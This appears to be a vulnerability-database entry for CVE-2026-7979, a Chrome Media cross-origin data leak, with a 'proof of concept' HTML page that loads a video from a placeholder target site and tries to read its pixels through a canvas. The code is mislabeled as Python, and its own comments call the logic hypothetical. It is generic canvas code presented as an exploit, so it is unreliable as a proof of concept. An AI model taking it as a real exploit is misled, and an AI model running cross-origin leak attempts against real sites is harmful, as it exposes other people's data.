Inappropriate implementation in Media in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-7979 -->
<!-- This PoC demonstrates a potential cross-origin data leak via Media component -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7979 PoC</title>
</head>
<body>
<h1>Chrome Media Data Leak PoC</h1>
<!-- Attempt to load cross-origin resource -->
<video id="targetVideo" crossorigin="anonymous" src="https://target-site.com/sensitive-media.mp4"></video>
<script>
// Attempt to extract data which should be blocked
const video = document.getElementById('targetVideo');
video.addEventListener('loadeddata', function() {
try {
// Hypothetical exploitation logic based on improper implementation
// Attempting to read pixel data or buffer that might leak info
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.drawImage(video, 0, 0, 100, 100);
// If CORS is bypassed, this might succeed
const pixelData = ctx.getImageData(0, 0, 1, 1).data;
console.log("Potential Data Leak:", pixelData);
alert("Data leaked: " + JSON.stringify(pixelData));
} catch (e) {
console.log("Failed to leak data due to security restrictions.", e);
}
});
</script>
</body>
</html>